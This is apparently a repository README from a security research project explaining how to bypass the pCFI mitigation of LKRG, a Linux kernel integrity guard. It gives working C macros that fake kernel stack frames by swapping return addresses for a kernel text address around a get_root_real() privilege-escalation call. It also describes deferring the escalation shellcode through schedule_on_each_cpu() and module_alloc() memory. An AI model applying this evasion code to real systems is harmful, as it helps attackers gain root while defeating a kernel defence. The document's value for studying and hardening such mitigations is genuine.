Skip to content

Latest commit

 

History

History

004-cfi_bypass

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

CFI bypass

Software-based CFI mitigation (pCFI) was intoduced in LKRG 0.6 (https://www.openwall.com/lists/lkrg-users/2019/02/19/1).

The idea behind this mitigation is that LKRG walks through the call stack checking if the stack-frame has the address which belongs to the kernel. Once it detects the address which points outside the kernel's text it will trigger an alarm.

Bypassing LKRG's pCFI mitigation will be implemented within 2 steps:

  • facking stack frames while operating
  • postponing the execution of privelege escalation payload with schedule_on_each_cpu()

Here is the code which helps to fake stack frames:

struct stack_frame {
	struct stack_frame *next_frame;
	unsigned long return_address;
};

#define cfi_bypass_enter(frames, depth) \
do { \
	struct stack_frame *frame = __builtin_frame_address(0); \
	for (int i = 1; i < (depth); i++) { \
		frames[i] = *frame; \
		frame->return_address = X_printk; \
		frame = frame->next_frame; \
	} \
} while (0)

#define cfi_bypass_leave(frames, depth) \
do { \
	struct stack_frame *frame = __builtin_frame_address(0); \
	for (int i = 1; i < (depth); i++) { \
		*frame = frames[i]; \
	frame = frame->next_frame; \
	} \
} while (0)

void get_root()
{
	struct stack_frame frames[ 8 ];
	cfi_bypass_enter(frames, sizeof(frames) / sizeof(frames[0]));
	get_root_real();
	cfi_bypass_leave(frames, sizeof(frames) / sizeof(frames[0]));
}

Here, cfi_bypass_enter is a macro which fakes N frames by:

  • saving them locally to frames array
  • replacing return_address of each frame so it will point to some address in kernel's text

Once the call to get_root_real() is done cfi_bypass_leave macro does the opposite: it restores all the saved frames from the frames array.

As for the privelege escalation part - its execution is postponed using schedule_on_each_cpu() function. For that module_alloc() is used to allocate excutable/writable memory to which the "shellcode" containing the privelege escalation logic is copied.